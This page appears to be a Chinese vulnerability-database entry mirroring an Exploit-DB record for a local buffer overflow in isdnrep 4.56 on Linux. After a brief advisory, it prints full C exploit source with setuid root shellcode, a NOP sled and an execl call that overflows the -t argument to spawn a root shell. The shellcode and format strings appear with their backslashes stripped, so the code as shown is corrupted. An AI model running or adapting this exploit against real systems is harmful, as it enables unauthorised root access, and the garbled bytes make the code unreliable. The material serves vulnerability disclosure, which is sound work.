ISDNRep 4.56 – Command Line Argument Local Buffer Overflow (1)

ISDNRep 4.56 – Command Line Argument Local Buffer Overflow (1)

漏洞ID 1054004 漏洞类型
发布时间 2003-07-03 更新时间 2003-07-03
图片[1]-ISDNRep 4.56 – Command Line Argument Local Buffer Overflow (1)-安全小百科CVE编号 N/A
图片[2]-ISDNRep 4.56 – Command Line Argument Local Buffer Overflow (1)-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22862
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/8100/info

isdnrep has been reported prone to a local command line argument buffer overflow vulnerability.

The issue presents itself due do a lack of sufficient bounds checking performed on user-supplied data that is copied from the command line into a reserved internal memory buffer. It is possible for a local attacker to influence the execution flow of isdnrep and have arbitrary operation codes executed in the context of the vulnerable application. Exploitation could permit privilege escalation on systems where the application is installed setuid/setgid.

It should be noted that although isdnrep version 4.56 has been reported vulnerable, other versions might also be vulnerable.

/*

  STX SECURITY LABS:
 
  5358isdnrape.c - x86 local buffer overflow exploit
  proof of concept code by: ace [ [email protected] ]
  vulnerability discovered by: t0asty [ [email protected] ]
 
  Description:
 
  isdnrep  reads  the  isdnlog log files, generates reports,
  does statistics, and other things. It  can  also  generate
  HTML output for use with a web server.

  Vulnerability:

  A buffer overflow vulnerability resides in isdnrep.
  A segmentation fault occurs when 2152 bytes of data are sent to
  the binary using the -t switch. The data overwrites the EIP therefore
  it allows us to control the pointer, allowing us to execute code.
  
  Versions vulnerable:

  [-] All versions are believed to be vulnerable.
      Tested on: isdnrep Version 4.56

  *************************************************
  * Note: isdnrep may not be suid on all systems. *
  *************************************************

  StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS
  X                                        X
  X STX ONLINE [ www.static-x.org ]        X
  X                                        X
  StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS
 
  *************************************************
  * Note: our pen0rs are 50 x larger than yours.  *
  *************************************************
 
*/

#include <stdio.h>

char stxcode[] =

     /* ace's shellcode [ [email protected] ] (setuid=0,/bin/sh) */
     "x31xdbx89xd8xb0x17xcdx80xebx03x5exebx05xe8xf8xff"
     "xffxffx83xc6x0dx31xc9xb1x50x80x36x01x46xe2xfaxea"
     "x09x2ex63x68x6fx2ex72x69x01x80xedx66x2ax01x01x54"
     "x88xe4x82xedx11x57x52xe9x01x01x01x01x5ax80xc2xb6"
     "x11x01x01x8cxb2x2fxeexfexfexc6x44xfdx01x01x01x01"
     "x88x74xf9x8cx4cxf9x30xd3xb9x0ax01x01x01x52x88xf2"
     "xccx81x5ax5fxc8xc2x91x91x91x91x91x91x91x91x91";


unsigned long pen0r(void) 

{
 __asm__("movl %esp, %eax");
}

int main(int argc, char **argv) {
 
 int pos; int ace = pen0r(); int stxnop = 0x90;
 int stxbytes = 2148; int stxtotal = stxbytes + 4;
 char *stxbof;
 stxbof = (char *)malloc(stxbytes); 

 for(pos = 0; pos < stxbytes; pos++) {*(long *)&stxbof[pos] = stxnop;}
 *(long *)&stxbof[stxbytes] = pen0r();
 memcpy(stxbof + stxbytes - strlen(stxcode), stxcode, strlen(stxcode));

 system("clear");
 printf("#######################################n");
 printf("#        [ STX SECURITY LABS ]        #n");
 printf("#  isdnrep local poc exploit by: ace  #n");
 printf("#######################################nn");
 printf("[+] Return Address: 0x%xn", ace);
 printf("[+] Buffer Size: %dn", stxtotal);
 printf("[-] /usr/bin/isdnrep -t pwned!nn");

 execl("/usr/bin/isdnrep", "isdnrep", "-t", stxbof, NULL);

return 0;

}

相关推荐: WFTPD ‘RETR’ and ‘CWD’ Buffer Overflow Vulnerability

WFTPD ‘RETR’ and ‘CWD’ Buffer Overflow Vulnerability 漏洞ID 1103264 漏洞类型 Boundary Condition Error 发布时间 2001-04-22 更新时间 2001-04-22 CV…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享